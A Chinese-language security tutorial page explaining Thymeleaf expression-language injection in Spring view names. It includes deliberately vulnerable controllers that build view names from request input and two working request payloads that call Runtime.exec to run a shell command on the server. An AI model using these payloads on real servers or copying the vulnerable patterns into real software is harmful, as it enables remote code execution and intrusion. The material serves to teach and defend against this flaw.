Spring视图操作
视图概述
考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序:
@Controller
public class HelloController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
}index方法将为根URL / 的每个GET请求调用。它没有参数并返回静态字符串welcome。Spring将welcome解释为View的名称,并尝试找到位于应用程序资源中的resources/templates/welcome.html文件。如果Spring找到它,将从模板文件渲染视图并返回给用户。
不受信任的Thymeleaf视图名称
如果使用Thymeleaf视图引擎(Spring中最流行的),模板可能如下所示:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</html>Thymeleaf引擎支持文件布局,允许您通过使用<div th:fragment="main">在模板中指定片段,然后仅从视图中请求此片段:
@GetMapping("/main")
public String fragment() {
return "welcome :: main";
}Thymeleaf足够智能,只从welcome视图返回主要的div,而不是整个文档。
在从文件系统加载模板之前,Spring ThymeleafView类将模板名称解析为表达式:
try {
// 通过将其解析为标准表达式,我们可以从表达式缓存中获益
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}因此,如果模板名称或片段与不受信任的数据连接,它可能导致表达式语言注入,从而导致RCE。
例如,以下方法容易受到表达式语言注入攻击:
@GetMapping("/path")
public String path(@RequestParam String lang) {
// 潜在的路径遍历,但限于'templates'文件夹
return "user/" + lang + "/welcome";
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section;
}以下请求在服务器上创建executed文件:
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com
此漏洞利用使用表达式预处理。为了使表达式被Thymeleaf执行,无论前缀或后缀是什么,都需要用__${和}__::.x包围它。
不受信任的隐式视图名称
控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如文档中所述,对于某些返回类型,如void、java.util.Map或org.springframework.ui.Model,视图名称通过RequestToViewNameTranslator隐式确定。
这意味着乍一看这样的控制器可能看起来完全无害,它几乎什么都不做,但由于Spring不知道要使用什么视图名称,它从请求URI中获取。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}具体来说,DefaultRequestToViewNameTranslator执行以下操作:
/**
* 将传入的{@link HttpServletRequest}的请求URI
* 转换为基于配置参数的视图名称。
* @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
* @see #transformPath
*/
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}所以,它变得易受攻击,因为用户控制的数据(URI)直接进入视图名称并被解析为表达式:
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com参考
最后更新于